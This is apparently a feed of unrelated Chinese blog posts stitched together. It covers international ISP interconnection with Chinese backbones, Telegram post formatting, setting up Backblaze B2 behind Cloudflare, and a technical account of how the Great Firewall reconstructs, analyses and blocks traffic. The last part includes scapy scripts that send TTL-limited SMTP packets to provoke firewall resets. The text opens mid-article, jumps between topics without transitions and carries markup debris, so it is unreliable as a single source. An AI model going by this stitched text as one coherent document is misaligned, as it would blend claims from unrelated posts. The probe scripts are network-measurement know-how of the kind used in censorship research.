比如说在欧洲的Orange(前身法国电信France Télécom,AS Rank 11),Vodafone (总部在英国,AS Rank 12),Deutsche Telekom(德国电信AS Rank 24),北美的ATT(AS Rank 20) ,Verzion(AS Rank 21) ,Sprint(AS Rank 26)。题外话,BT(英国电信)反而是Regional T1,AS Rank比中国电信还低。
DTAG
可直连骨干网: AS4134、AS4837、AS9929
Deutsche Telekom AG ,德国电信,德国第一大ISP,T1级。旗下移动运营商T-mobile相比于DTAG更加知名。
DTAG于AS4134和AS4837均有peer。同时也是AS9929上游。但延迟均200+起跳。
电信163普通家宽会被强制丢包,而163plus能保证相对稳定延迟与相对较低的丢包
联通169则取决于汇聚层是否拥塞。非拥塞状态则能保证网络质量。但是只限于北方地区的联通(如河南/山东等)。
南方地区的联通(如上海)将会被无慈悲的绕美,由DTAG转发Level3。
AS9929依旧稳定发挥,甚至延迟优于AS4134 AS4837,但速度很勉强,几乎稳定80Mbps。
Cogent Communications
Cogentco由于在Traceroute上的细节写的过于清楚明白,以至于有一部分以为跳数越多越差人觉得Cogentco不行。虽然它也确实不太行...
可直连骨干网:AS4134、AS4837、AS9929、AS58453。
Cogentco,联通9929真正的互联主力……几乎绝大部分的欧美线路到9929都会被Cogentco宣告。以至于在欧洲会出现回程不走DTAG硬是跑Cogentco
外加联通9929的NOC基本不会主动调整欧美路由。速度十分玄学,单线程在50Mbps摇摆,多线程却接近跑满。
洛杉矶和圣何塞是美西重要的面向亚太地区的互联网PoP中心,TPE海缆多从此处2点接入。中美之间的互联占据了出境流量很大的一部分,也是电信163出国的主要路径。
HE
HE,全称为 Hurricane Electric(飓风电气),目前是坐拥全球以Peer数量计算的最大IPv6骨干网的ISP,骨干网自治编号为AS6939。HE也提供免费的IPv6 Tunnel,以方便IPv4单栈的用户能够无障碍地访问IPv6网络。
HE的发展思路一直是竭尽全力和世界上更多的ISP Peer,尽管获得了非常多的本地互联,但是因自身前期在亚太骨干网投入不足,导致和一些ISP对等宽带过小、跨洋传输场景下的宽带传输速率有限,HE也一直在努力扩容,可惜仍旧有较大缺口。
我们看到的亚太地区(香港、新加坡)的低价VPS产品线,几乎都一致地选择了HE作为唯一的互联网接入,而且接入的宽带并不大,平均1Gbps。但是哪怕是HE这样的ISP,在亚太地区的BGP Transit也颇为昂贵,这些商家为了能够有所盈利,在超低的VPS价格上,宽带上面必须大幅超售,这些反而给低端用户群体带来了十分糟糕的用户体验,很多时候,这些VPS访问外网速度慢不是HE的问题,而是IDC没有购买足够的宽带导致。
作为对等节点极多的HE来说,IPv6网络下和中国大三ISP均有直接互联,也是当下国内IPv6网络跨国的主要对等ISP,为推动全球IPv6互联中扮演着非常重要的角色。
可直连骨干网:AS4134、AS4837、AS58453
电信163和HE在洛杉矶有10~20G的互联,平时鲜有出现较大的延时抖动,但是速度限制较为严重。
联通169和HE的洛杉矶互联通常被视为在廉价互联里面很具有性价比的,相比于联通169和GTT的互联,和HE的互联质量就要好很多,很多用户也在尽可能选择更价廉物美的选择。
CMI与美西的互联一向较差,并不具有较好的连通性,再加上HE和CMI的互联本身就炸的比较厉害,此条线路不推荐移动去尝试。
GTT
GTT,前身为Global Telecom and Technology,自1998年成立以来,在跨国电信业务上耕作至今。
可直连骨干网:AS4134、AS4837、AS58453
联通169在美西较大地依赖GTT的互联,导致延时相比正常美西延时高很多,速度并不乐观。
电信163和GTT的互联却是出乎意料的好,根据SmokePing的结果,电信163和GTT的互联全天几乎不丢包,完全受限于汇聚层是否通畅。这就意味着只要使用高Qos的电信宽带就可以获得较好的速度。
Telia
Telia是瑞典最大的电话和电信通讯公司,前身为瑞典电报局及芬兰电讯。现更名为Arelion,但目前在路由上的名称依旧是Telia。
可直连骨干网:AS4134、AS4809、AS4837、AS58453
Telia在美国、欧洲都有和电信163互联,总体来说是很中规中矩的线路,
Cogent Communications
可直连骨干网:AS4134、AS4837、AS9929、AS58453
跟欧洲情况差不多。
电信163在美西较大程度上依赖Cogentco的互联,爆炸的几率较高。
Verizon
可直连骨干网:AS9929
联通9929与Verizon的互联一言难尽,延迟不是最优,单线程速度也不是最优。高峰期单线程速度在50-70Mbps震荡。而多线程速度倒是能跑满,非常的玄学。
有时候其他北美ISP到联通9929需要经Verizon转发,而被转发的速度就很难保证了。
常见ISP:LiquidTelecom
可直连的骨干网:AS4134、AS4809、AS58423
LiquidTelecom在肯尼亚设有非洲国际交换中心,后与中国电信签署合作关系,目前中国电信在肯尼亚设有一处PoP,同时接入了163和CN2网络,和LiquidTelecom都有Peer。
LiquidTelecom也是非洲北部最大的ISP,在非洲拥有100GE的骨干网,可以说是非常强了。电信163前往该PoP需要先在新加坡的163 PoP中转,后前往非洲。在世界各地有自己的骨干网以及PoP,这就是为什么中国电信现在越来越被认可为Tier 1的原因。
虽然听起来特别厉害,但是实际上163网络到肯尼亚直连很差,不过这并不是因为LiquidTelecom导致的,电信的163汇聚层拉垮是主因。
从肯尼亚CN2的表现,严格的来说,是达到及格线的,但是价格昂贵,一般很少有人会去选择那么偏僻的CN2,我也只是找到了没几个段的肯尼亚CN2 IP段,通过SmokePing检测观察许久得出来的结论。
联通和移动都没有和LiquidTelecom直连,所以都绕路。
在南非,一共有三大IX,JINX、CINX、DINX(约翰内斯堡互联网交换中心、开普敦互联网交换中心、德班互联网交换中心) ,这里我们主要讲JINX,别的基本和我们的御三家无关。
我们可以看出电信的非洲地区是下了功夫的,JINX也设有电信的PoP,同时接入AS4134和AS4809,这个网可能听说的人比较多,Misaka的南非约翰内斯堡的服务器网络就是接入了JINX和电信CN2互联的。
说实话,因为联通、移动没有想过在非洲布局,所以这个地区基本没他们什么事...
常见ISP:du.ae
可直连的骨干网:AS4134、AS4809
du.ae 是当地一大电信ISP,骨干网覆盖全国,在阿联酋的迪拜电信设有PoP,同时接入电信163和CN2。
电信依旧是通过新加坡的PoP中转以连接阿联酋,根据Ucloud的阿联酋地区长达一个月的TCPPing数据,该地区163网络要比南非肯尼亚LiquidTelecom稳定,CN2可以实现132ms的低延时。
洋洋洒洒写了1万多字,但是发现还有许多地区未能来得及覆盖到,后面继续追更吧~ 虽然很多地方我主观上已经有了结果,但是光靠个人的感受,没有数据的支撑(延时抖动、丢包率、峰值宽带均值),直接写上去未免太不严谨,等我测全了,再一点点补上去也不迟。
如果您喜欢这篇文章的话,也欢迎点赞啦,或许能成为我追更的动力哦。我会尽可能研究一些网上不曾有的ISP资料,并在此呈现给大家~
如果有任何不正确的地方也请指正,我会尽快修改,非常感谢!
本文转自:https://japan.typlog.io/tgpaiban
赏心悦目的排版会令人舒适,但是小小的文本框需要的注意的地方还挺多的。希望本文能对大家Telegram频道的文本编辑工作和提高字体与排版审美有所帮助。
由于Telegram的中文无法改变字体,只能在纯文本的基础上改变字体的样式,目前可供改变的样式有以下几种:
虽然可供更改的样式选择不多,但是可以满足Telegram的基本排版需求,只要我们善于灵活运用以上这些样式,就可以做出清晰的文章排版,提升订阅者的阅读感。
可以根据内容的变化自由选择字体样式。
一般来说,我会在标题处使用加粗字体,在引用处使用倾斜字体,在有外部链接处使用链接样式。文章后面也会结合具体内容举例说明。
无论在任何地方进行中文排版,都应该尽量符合以下的排版原则。
文章分段可以使排版更加清晰明了,也能让读者快速找到重要的段落内容进行阅读。在Telegram中,由于消息的推送机制导致一行的文字数量有限,所以文章分段不仅是一个回车符这么简单,空白一行会让段落更加清楚。
可以看出,原文的排版有些拥挤,而过长的内容阅读起来也可能会让读者产生厌倦。故意留空一行,会让字数多的文章更有层次感,阅读起来也会舒服很多。
在中英文交替的情况下,应该在英文单词开头和结尾分别插入一个半角空格,以达到良好的视觉效果。
可以明显看出,在英文较长的情况下,前后加入空格会让内容显得更清晰。
灵活运用一些特殊符号会增加一些内容的醒目性,也可以增加内容的条理性。
比如使用符号 ▎ 来强调标题,使用 - 符号来罗列一些软件的特点。
当然,同时也要控制符号的数量,不然可能适得其反。
文字是非常单一的表现形式,如果使用配图就会显得丰富一些。配图尽量和文字内容相关,做到简约简单即可。
关于配图的数量:如果配图只是单纯为了丰富视觉,那使用一张图片即可。如果配图是为了和内容相辅相成,并且补充文字内容,那可以选择多张图。
以上是配图,尽量遵从了相同比例和一致的设计风格。
标签是Telegram的一大特点之一,合理利用标签可以将文章进行分类。标签还可以帮助在有配图的情况下调整图文比例。
左侧的排版使用tag将图片和标题分开,会更有层次。右边标题紧贴配图,稍显拥挤。
配图简洁醒目,最好能表现文章内容,让读者一眼能看出主题即可。图片的要素不易过多,文字也尽量控制在一两行即可。配图一般只用一张图即可,规格900*400左右。如果多图的话可能会导致要素过多,反而显得混乱。当然多图的优势是能展示的更全面,还是要对不同的内容进行自我判断。
围绕频道主题,固定下来一些标签,可以更好的给文章分类,同时也可以让新订阅的用户更快地阅读到之前的内容。
这里使用的固定的特殊符号并且对标题文字进行了加粗,标题前后都留白,使得标题更醒目。
限于Telegram的文字篇幅,有很多内容无法写的非常详尽,所以可以利用超链接把具体内容链接起来,这样方便感兴趣的读者进一步了解,也节省了一部分篇幅显得文章不过于冗余。
段落之间留白会显得层次分明,文字过多的情况下使用效果会更明显。
标注自己的频道信息,这样在别人转发的时候也会带上频道信息,方便看到本条消息的人进一步订阅频道。
以上内容是博主的一些排版心得体会,仅供大家参考。排版是一种审美,而审美因人而异,所以没有固定的标准。
希望本文对大家有所帮助,也欢迎各位朋友提出各自的见解。
]]>Backblaze(下文中简称B2).是一家美国云存储和数据备份公司,它的两个主要产品是针对企业和个人市场的 B2 云存储和计算机备份服务。
存储容量:10GB
网络流量:1GB/天
上传流量:无限
下载请求数:2500次/天
上传请求数:2500次/天
BUCKET(桶):100个
BUCKET(桶)文件数:无限
由于B2加入了CloudFlare的 带宽联盟( Bandwidth Alliance)(如下图红圈部分所示) ,所以B2与CloudFlare之间的流量直接免费,也就是每天无限量下行流量。
填写邮箱,密码即可注册。
登陆平台 – My Account – 我的设置 – 验证Email
提醒一下,界面右下角可以切换到简体中文
名称随意,桶里面的档案选择公众,其他保持默认即可
要记住友好URL中的域名,如图是 f004.backblazeb2.com ,接下来套Cloudflare时会用到。
类型选CNAME,名称随意,目标填你在友好URL中看到的域名,代理状态要开启。
选择完全(严格)模式:
点击“创建规则”:
URL输入上一步中设置的域名,选择: 缓存级别 – 标准,边缘缓存TTL – 1个月。
打开https://secure.backblaze.com/b2_buckets.htm, 点击 ‘’桶设定‘’:
在桶信息中填写:{"cache-control":"max-age=720000"}
:
最后点击‘’更新桶‘’即可。
在友好url中将B2的域名改为你设置的域名即可。
GFW具有重大的社会意义。无论是正面的社会意义,还是负面的意义。无论你是讨厌,还是憎恨。它都在那里。在可以预见的将来,墙还会继续存在。我们要学会如何与其共存。
我们把翻墙看成一场我们与GFW之间的博弈,是一个不断对抗升级的动态过程。目前整体的博弈态势来讲是GFW占了绝对的上风。我们花费了大量的金钱(买VPS买VPN),花费大量时间(学习各种翻墙技术),而GFW只需要简单发几个包,配几个路由规则就可以让你的心血都白费。
GFW并不需要检查所有的上下行流量中是不是有不和谐的内容,很多时候只需要检查连接的前几个包就可以判断出是否要阻断这个连接。为了规避这种检查,我们就需要把所有的流量都通过第三方代理,还要忍受不稳定,速度慢等各种各样的问题。花费的是大量的研究的时间,切换线路的时间,找出是什么导致不能用的时间,当然还有服务器的租用费用和带宽费用。我的感觉是,这就像太极里的四两拨千斤。GFW只需要付出很小的成本,就迫使了我们去付出很大的反封锁成本,而且这种成本好像是越来越高了。
这场博弈的不公平之处在于,GFW拥有国家的资源和专业的团队。而我们做为个体,愿意花费在翻墙上的时间与金钱是非常有限的。在竞争激烈的北上广深,每天辛苦忙碌的白领们。翻墙无非是为了方便自己的工作而已。不可能在每天上下班从拥挤的地铁中挤出来之后再去花费已经少得可怜的业余时间去学习自己不是翻墙根本不需要知道的名词到底是什么意思。于是乎,我们得过且过。不用Google也不会死,对不对?。博弈的天平远远不是平衡的,而是一边倒。
GFW会是一个长期的存在。要学会与之共存,必须先了解GFW是什么。做为局外人,学习GFW有六个角度。渐进的来看分别是:
首先我们学习到的是what和when。比如说,你经常听到人的议论是“昨天”,“github”被封了。其中的昨天就是when,github就是what。这是学习GFW的最天然,最朴素的角度。在这个方面做得非常极致的是一个叫做 greatfire 的网站。这个网站长期监控成千上万个网站和关键词。通过长期监控,不但可以掌握为什么被封锁了,还可以知道什么时候被封的,什么时候被解封的。
接下来的角度是who。比如说,“方校长”这个人名就经常和GFW同时出现。但是如果仅仅是掌握一个两个人名,然后天天在twitter上骂一遍,除了把这个人名骂成名人之外,没有什么特别的积极意义。我们可以通过网络上的公开信息,掌握GFW的哪些方面与哪些人有关系,这些合作者之间又有什么联系。除了大家猜测的将来可以鞭尸之外,对现在也是有积极的意义的。比如关注这些人的研究动态和思想发展,可以猜测GFW的下一步发展方向。比如阅读过去发表的论文,可以了解GFW的技术演进历史,可以从历史中找到一些技术或者管理体制上的缺陷。
再接下来就是why了。github被封之后就常听人说,github这样的技术网站你封它干啥?是什么原因促成了一个网站的被封与解封的?我们做为局外人,真正的原因当然是无从得知的。但是我们可以猜测。基于猜测,可以把不同网站被封,与网络上的舆情时间做关联和分类。我们知道,方校长对于网路舆情监控是有很深入研究的。有一篇论文(Whiskey, Weed, and Wukan on the World Wide Web: On Measuring Censors’ Resources and Motivations)专门讨论监管者的动机的。观测触发被封的事件与实际被封之间的时间关系,也可以推测出一些有趣的现象。比如有人报告,翻墙触发的封端口和封IP这样的事情一般都发生在中国的白天。也就是说,GFW背后不光是机器,有一些组件是血肉构成的。
剩下的两个角度就是对如何翻墙穿墙最有价值的两个角度了:how和where。how是非常好理解的,就是在服务器和客户端两边抓包,看看一个正常的网络通信,GFW做为中间人,分别给两端在什么时候发了什么包或者过滤掉了什么包。而这些GFW做的动作,无论是过滤还是发伪包又是如何干扰客户端与服务器之间的正常通信的。where是在知道了how之后的进一步发展,不但要了解客户端与服务器这两端的情况,更要了解GFW是挂在两端中间的哪一级路由器上做干扰的。在了解到GFW的关联路由器的IP的基础上,可以根据不同的干扰行为,不同的运营商归属做分组,进一步了解GFW的整体部署情况。
整体上来说,对GFW的研究都是从what和when开始,让偏人文的就去研究who和why,像我们这样偏工程的就会去研究how和where。以上就是全面了解GFW的主体脉络。接下来,我们就要以how和where这两个角度去看一看GFW的原理。
要与GFW对抗不能仅仅停留在什么不能访问了,什么可以访问之类的表面现象上。知道youtube不能访问了,对于翻墙来说并无帮助。但是知道GFW是如何让我们不能访问youtube的,则对下一步的翻墙方案的选择和实施具有重大意义。所以在讨论如何翻之前,先要深入原理了解GFW是如何封的。
总的来说,GFW是一个分布式的入侵检测系统,并不是一个严格意义上的防火墙。不是说每个出入国境的IP包都需要先经过GFW的首可。做为一个入侵检测系统,GFW把你每一次访问facebook都看做一次入侵,然后在检测到入侵之后采取应对措施,也就是常见的连接重置。整个过程一般话来说就是:
检测有两种方式。一种是人工检测,一种是机器检测。你去国新办网站举报,就是参与了人工检测。在人工检测到不和谐的网站之后,就会采取一些应对方式来防止国内的网民访问该网站。对于这类的封锁,规避检测就不是技术问题了,只能从GFW采取的应对方式上采取反制措施。另外一类检测是机器检测,其检测过程又可以再进一步细分:
重建是指GFW从网络上监听过往的IP包,然后分析其中的TCP协议,最后重建出一个完整的字节流。分析是在这个重建的字节流上分析具体的应用协议,比如HTTP协议。然后在应用协议中查找是不是有不和谐的内容,然后决定采用何种应对方式。
所以,GFW机器检测的第一步就是重建出一个字节流。那么GFW是如何拿到原始的IP包的呢?真正的GFW部署方式,外人根本无从得知。据猜测,GFW是部署在国家的出口路由器的旁路上,用“分光”的方式把IP包复制一份到另外一根光纤上,从而拿到所有进出国境的IP包。
GFW通过配置骨干网的BGP路由规则,是可以让国内机房的流量经过它。一个例子是当我们访问被封的网站触发连接重置的时候,往往收到两个RST包,但是TTL不同。还有一个例子是对于被封的IP,访问的IP包还没有到达国际出口就已经被丢弃。所以GFW应该在其他地方也部署有设备,据推测是在省级骨干路由的位置。
对于GFW到底在哪这个话题,最近又有国外友人表达了兴趣( https://github.com/mothran/mongol)。其原理是基于一个IP协议的特性叫TTL。TTL是Time to Live的简写。IP包在没经过一次路由的时候,路由器都会把IP包的TTL减去1。如果TTL到零了,路由器就不会再把IP包发给下一级路由。然后我们知道GFW会在监听到不和谐的IP包之后发回RST包来重置TCP连接。那么通过设置不同的TTL就可以知道从你的电脑,到GFW之间经过了几个路由器。比如说TTL设置成9不触发RST,但是10就触发RST,那么到GFW就是经过了10个路由器。另外一个IP协议的特性是当TTL耗尽的时候,路由器应该发回一个TTL EXCEEDED的ICMP包,并把自己的IP地址设置成SRC(来源)。结合这两点,就可以探测出IP包是到了IP地址为什么的路由器之后才被GFW检测到。有了IP地址之后,再结合IP地址地理位置的数据库就可以知道其地理位置。据说,得出的位置大概是这样的:
但是这里检测出来的IP到底是GFW的还是骨干路由器的?更有可能的是骨干路由器的IP。GFW做为一个设备用“分光”的方式挂在主干路由器旁边做入侵检测。无论如何,GFW通过某种神奇的方式,可以拿到你和国外服务器之间来往的所有的IP包,这点是肯定的。更严谨的理论研究有: Internet Censorship in China: Where Does the Filtering Occur?
GFW在拥有了这些IP包之后,要做一个艰难的决定,那就是到底要不要让你和服务器之间的通信继续下去。GFW不能太过于激进,毕竟全国性的不能访问国外的网站是违反GFW自身存在价值的。GFW就需要在理解了IP包背后代表的含义之后,再来决定是不是可以安全的阻断你和国外服务器之间的连接。这种理解就要建立了前面说的“重建”这一步的基础上。大概用图表达一下重建是在怎么一回事:
重建这样的字节流有一个难点是如何处理巨大的流量?其原理与网站的负载均衡器一样。对于给定的来源和目标,使用一个HASH算法取得一个节点值,然后把所有符合这个来源和目标的流量都往这个节点发。所以在一个节点上就可以重建一个TCP会话的单向字节流。
最后为了讨论完整,再提两点。虽然GFW的重建发生在旁路上是基于分光来实现的,但并不代表整个GFW的所有设备都在旁路。后面会提到有一些GFW应对形式必须是把一些GFW的设备部署在了主干路由上,也就是GFW是要参与部分IP的路由工作的。另外一点是,重建是单向的TCP流,也就是GFW根本不在乎双向的对话内容,它只根据监听到的一个方向的内容然后做判断。但是监听本身是双向的,也就是无论是从国内发到国外,还是从国外发到国内,都会被重建然后加以分析。所以一个TCP连接对于GFW来说会被重建成两个字节流。具体的证据会在后面谈如何直穿GFW中详细讲解。
分析是GFW在重建出字节流之后要做的第二步。对于重建来说,GFW主要处理IP协议,以及上一层的TCP和UDP协议就可以了。但是对于分析来说,GFW就需要理解各种各样的应用层的稀奇古怪的协议了。甚至,我们也可以自己发明新的协议。
总的来说,GFW做协议分析有两个相似,但是不同的目的。第一个目的是防止不和谐内容的传播,第二个目的是防止使用翻墙工具绕过GFW的审查。下面列举一些已知的GFW能够处理的协议。
对于GFW具体是怎么达到目的一,也就是防止不和谐内容传播的就牵涉到对HTTP协议和DNS协议等几个协议的明文审查。大体的做法是这样的:
像HTTP这样的协议会有非常明显的特征供检测,所以第一步就没什么好说的了。当GFW发现了包是HTTP的包之后就会按照HTTP的协议规则拆包。这个拆包过程是GFW按照它对于协议的理解来做的。比如说,从HTTP的GET请求中取得请求的URL。然后GFW拿到这个请求的URL去与关键字做匹配,比如查找Twitter是否在请求的URL中。为什么有拆包这个过程?首先,拆包之后可以更精确的打击,防止误杀。另外可能预先做拆包,比全文匹配更节省资源。其次,GFW还是先去理解协议,然后才做关键字匹配的。关键字匹配应该就是使用了一些高效的正则表达式算法,没有什么可以讨论的。
HTTP代理和SOCKS代理,这两种明文的代理都可以被GFW识别。之前笔者认为GFW可以在识别到HTTP代理和SOCKS代理之后,再拆解其内部的HTTP协议的正文。也就是做两次拆包。但是分析发现,HTTP代理的关键字列表和HTTP的关键字列表是不一样的,所以笔者现在认为HTTP代理协议和SOCKS代理协议是当作单独的协议来处理的,并不是拆出载荷的HTTP请求再进行分析的。
目前已知的GFW会做的协议分析如下:
GFW可以分析53端口的UDP协议的DNS查询。如果查询的域名匹配关键字则会被DNS劫持。可以肯定的是,这个匹配过程使用的是类似正则的机制,而不仅仅是一个黑名单,因为子域名实在太多了。证据是:2012年11月9日下午3点半开始,防火长城对Google的泛域名 .google.com 进行了大面积的污染,所有以 google.com 结尾的域名均遭到污染而解析错误不能正常访问,其中甚至包括不存在的域名。
目前为止53端口之外的查询也没有被劫持。但是TCP的DNS查询已经可以被TCP RST切断了,表明了GFW具有这样的能力,只是不屑于大规模部署。而且TCP查询的关键字比UDP劫持的域名要少的多。
GFW可以识别出HTTP协议,并且检查GET的URL与HOST。如果匹配了关键字则会触发TCP RST阻断。
GFW除了会分析上行的HTTP GET请求,对于HTTP返回的内容也会做全文关键字检查。这种检查与对请求的关键字检查不是由同一设备完成的,而且对GFW的资源消耗也更大。
略
略
因为有很多翻墙软件都是以邮件索取下载地址的方式发布的,所以GFW有针对性的封锁了SMTP协议,阻止这样的邮件往来。
封锁有三种表现方式,简单概要的说就是看邮件是不是发往上了黑名单的邮件地址的,如果发现了就立马用TCP RST包切断连接。
from scapy.all import *
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='S', seq=0))
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='A', seq=1))
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='A', seq=1) / 'MAIL FROM: xiazai@upup.info\r\n')
看似普通的三个包其实暗藏玄机。首先,目标地址是1.2.3.4,这显然是我胡写的一个地址,而且TTL设置为9。所以这个包发出去就没有打算让最终的目标机器接到,而只是发给GFW看的。这个TTL值要大于你的机器到GFW的跳数,一般11是一个保险的值。然后要触发GFW的响应,有以下几个缺一不可的条件:
目标端口是25,我尝试了其他几个端口没有发现触发响应。
第二个包虽然内容是空的,但是必须存在。而且必须是ACK。内容也可以不为空,GFW似乎不care内容是什么,只要有这个包就可以。
第三个包的seq必须为1,哪怕第二包有内容了,这个包的seq也必须为1。而且MAIL FROM: \r\n这个格式必须对,不能替换成FROM MAIL啥的。还有一个条件就是邮件地址必须上了黑名单。这里举的例子是一个翻墙软件的索取地址,所以上了黑名单。
观测到的响应是GFW发一个TCP RST包。而且每次都是一个,从来不多发。如果少了中间那个空的ACK,则是连做两次探测触发一个TCP RST。貌似GFW把两次探测认为是一个连接了。
2. 发现收件人在黑名单中,立即重置TCP链接
from scapy.all import *
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='S', seq=0))
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='A', seq=1))
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='A', seq=1) / 'RCPT TO: xiazai@upup.info\r\n')
这与上面的MAIL FROM的例子基本上是一样的。不同之处只有一点就是有的时候可以看到两个TCP RST的回包。
3. 发现收件人在黑名单中,发回用户不存在的错误消息
from scapy.all import *
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='S', seq=0))
send(IP(dst='1.2.3.4', ttl=9) / TCP(dport=25, flags='A', seq=1) / 'EHLO anything-here\nRCPT TO: xiazai@upup.info\n')
得到的错误消息是 “551 User not local; please try
触发的条件是
这次触发的条件是一个合法的SMTP请求过程。而之前的触发过程根本就不是合法的SMTP请求。而且另外一个特征是这样触发的TCP RST,会有三个重叠,ack递加的现象,与HTTP全文关键字的响应非常类似。我推测,两型的响应是两个不同的模块。单独对MAIL FROM和RCPT TO的封锁,与对HTTP关键字的封锁类似,属于看到就封型。而后一种更智能的,还会回答错误消息的是能够真正理解SMTP协议的模块,可能还用于做邮件全文内容的关键字检测。
GFW还会过滤电驴(ed2k)协议中的查询内容。因为ed2k还有一个混淆模式,会加密往来的数据包,GFW会切断所有使用混淆模式的ed2k连接,迫使客户端使用明文与服务器通讯。然后如果客户端发起了搜索请求,查找的关键字中包含敏感词的话就会被用TCP RST包切断连接。
GFW的第二个目的是封杀翻墙软件。为了达到这个目的GFW采取的手段更加暴力。原因简单,对于HTTP协议的封杀如果做不好会影响互联网的正常运作,GFW与互联网是共生的关系,它不会做威胁自己存在的事情。但是对于TOR这样的几乎纯粹是为翻墙而存在的协议,只要检测出来就是格杀勿论的了。GFW具体是如何封杀各种翻墙协议的,我也不是很清楚,事态仍然在不断更新中。但是举两个例子来证明GFW的高超技术。
第一个例子是GFW对TOR的自动封杀,体现了GFW尽最大努力去理解协议本身。根据这篇博客( <https://blog.torproject.org/blog/knock-knock-knockin-bridges-doors >)。使用中国的IP去连接一个美国的TOR网桥,会被GFW发现。然后GFW回头(15分钟之后)会亲自假装成客户端,用TOR的协议去连接那个网桥。如果确认是TOR的网桥,则会封当时的那个端口。换了端口之后,可以用一段时间,然后又会被封。这表现出了GFW对于协议的高超检测能力,可以从国际出口的流量中敏锐地发现你连接的TOR网桥。据TOR的同志说是因为TOR协议中的握手过程具有太明显的特征了。另外一点就表现了GFW的不辞辛劳,居然会自己伪装成客户端过去连连看。
第二个例子表现了GFW根本不在乎加密的流量中的具体内容是不是有敏感词。只要疑似翻墙,特别是提供商业服务给多个翻墙,就会被封杀。使用ShadowSocks协议, 预先部署密钥,没有明显的握手过程仍然被封。据说是GFW已经升级为能够机器识别出哪些加密的流量是疑似翻墙服务的。
总结起来就是,GFW已经基本上完成了目的一的所有工作。明文的协议从HTTP到SMTP都可以分析然后关键字检测,甚至电驴这样不是那么大众的协议GFW都去搞了。从原理上来说也没有什么好研究的,就是明文,拆包,关键字。GFW显然近期的工作重心在分析网络流量上,从中识别出哪些是翻墙的流量。这方面的研究还比较少,而且一个显著的特征是自己用没关系,大规模部署就容易出问题。我目前没有在GFW是如何封翻墙工具上有太多研究,只能是道听途说了。
GFW的应对措施是三步中最明显的,因为它最直接。GFW的重建过程和协议分析的过程需要耐心的试探才能大概推测出GFW是怎么实现的。但是GFW的应对手段我们每天都可以见到,比如连接重置。GFW的应对目前可以感受到的只有一个目的就是阻断。但是从广义上来说,应对方式应该不限于阻断。比如说记录下日志,然后做统计分析,秋后算账什么的也可以算是一种应对。就阻断方式而言,其实并不多,那么我们一个个来列举吧。
一般常见于人工检测之后的应对。还没有听说有什么方式可以直接使得GFW的机器检测直接封IP。一般常见的现象是GFW机器检测,然后用TCP RST重置来应对。过了一段时间才会被封IP,而且没有明显的时间规律。所以我的推测是,全局性的封IP应该是一种需要人工介入的。注意我强调了全局性的封IP,与之相对的是部分封IP,比如只对你访问那个IP封个3分钟,但是别人还是可以访问这样的。这是一种完全不同的封锁方式,虽然现象差不多,都是ping也ping不通。要观摩的话ping twitter.com就可以了,都封了好久了。
其实现方式是把无效的路由黑洞加入到主干路由器的路由表中,然后让这些主干网上的路由器去帮GFW把到指定IP的包给丢弃掉。路由器的路由表是动态更新的,使用的协议是BGP协议。GFW只需要维护一个被封的IP列表,然后用BGP协议广播出去就好了。然后国内主干网上的路由器都好像变成了GFW的一份子那样,成为了帮凶。
如果我们使用traceroute去检查这种被全局封锁的IP就可以发现,IP包还没有到GFW所在的国际出口就已经被运营商的路由器给丢弃了。这就是BGP广播的作用了。
这也是一种常见的人工检测之后的应对。人工发现一个不和谐网站,然后就把这个网站的域名给加到劫持列表中。其原理是基于DNS与IP协议的弱点,DNS与IP这两个协议都不验证服务器的权威性,而且DNS客户端会盲目地相信第一个收到的答案。所以你去查询facebook.com的话,GFW只要在正确的答案被返回之前抢答了,然后伪装成你查询的DNS服务器向你发错误的答案就可以了。
下图为GFW对域名telegram.org的劫持:
可见许多地区的IP被解析到Twitter和Facebook等已被封锁的IP上。
TCP协议规定,只要看到RST包,连接立马被中断。从浏览器里来看就是连接已经被重置。我想对于这个错误大家都不陌生。据我个人观感,这种封锁方式是GFW目前的主要应对手段。大部分的RST是条件触发的,比如URL中包含某些关键字。还有一些网站,会被无条件RST。也就是针对特定的IP和端口,无论包的内容就会触发RST。比较著名的例子是https的wikipedia。GFW在TCP层的应对是利用了IPv4协议的弱点,也就是只要你在网络上,就假装成任何人发包。所以GFW可以很轻易地让你相信RST确实是Google发的,而让Google相信RST是你发的。
GFW除了自身主体是挂在骨干路由器旁路上的入侵检测设备,利用分光技术从这个骨干路由器抓包下来做入侵检测 (所谓 IDS),除此之外这个路由器还会被用来封端口 (所谓 IPS)。GFW在检测到入侵之后可以不仅仅可以用TCP RST阻断当前这个连接,而且利用骨干路由器还可以对指定的IP或者端口进行从封端口到封IP,设置选择性丢包的各种封禁措施。可以理解为骨干路由器上具有了类似“iptables”的能力(网络层和传输层的实时拆包,匹配规则的能力)。这个iptables的能力在CISCO路由器上叫做ACL Based Forwarding (ABF)。而且规则的部署是全国同步的,一台路由器封了你的端口,全国的挂了GFW的骨干路由器都会封。一般这种封端口都是针对翻墙服务器的,如果检测到服务器是用SSH或者VPN等方式提供翻墙服务。GFW会在全国的出口骨干路由上部署这样的一条ACL规则,来封你这个服务器+端口的下行数据包。也就是如果包是从国外发向国内的,而且src(源ip)是被封的服务器ip,sport(源端口)是被封的端口,那么这个包就会被过滤掉。这样部署的规则的特点是,上行的数据包是可以被服务器收到的,而下行的数据包会被过滤掉。
如果被封端口之后服务器采取更换端口的应对措施,很快会再次被封。而且多次尝试之后会被封IP。初步推断是,封端口不是GFW的自动应对行为,而是采取黑名单加人工过滤地方式实现的。一个推断的理由就是网友报道,封端口都是发生在白天工作时间。
在进入了封端口阶段之后,还会有继发性的临时性封其他端口的现象,但是这些继发性的封锁具有明显的超时时间,触发了之后(触发条件不是非常明确)会立即被封锁,然后过了一段时间就自动解封。
对于Github的HTTPS服务,GFW不愿意让其完全不能访问。所以采取的办法是对于Github的某些IP的443端口采取间歇性丢包的措施。其原理应该类似于封端口,是在骨干路由器上做的丢包动作。但是触发条件并不只是看IP和端口,加上了时间间隔这样一个条件。
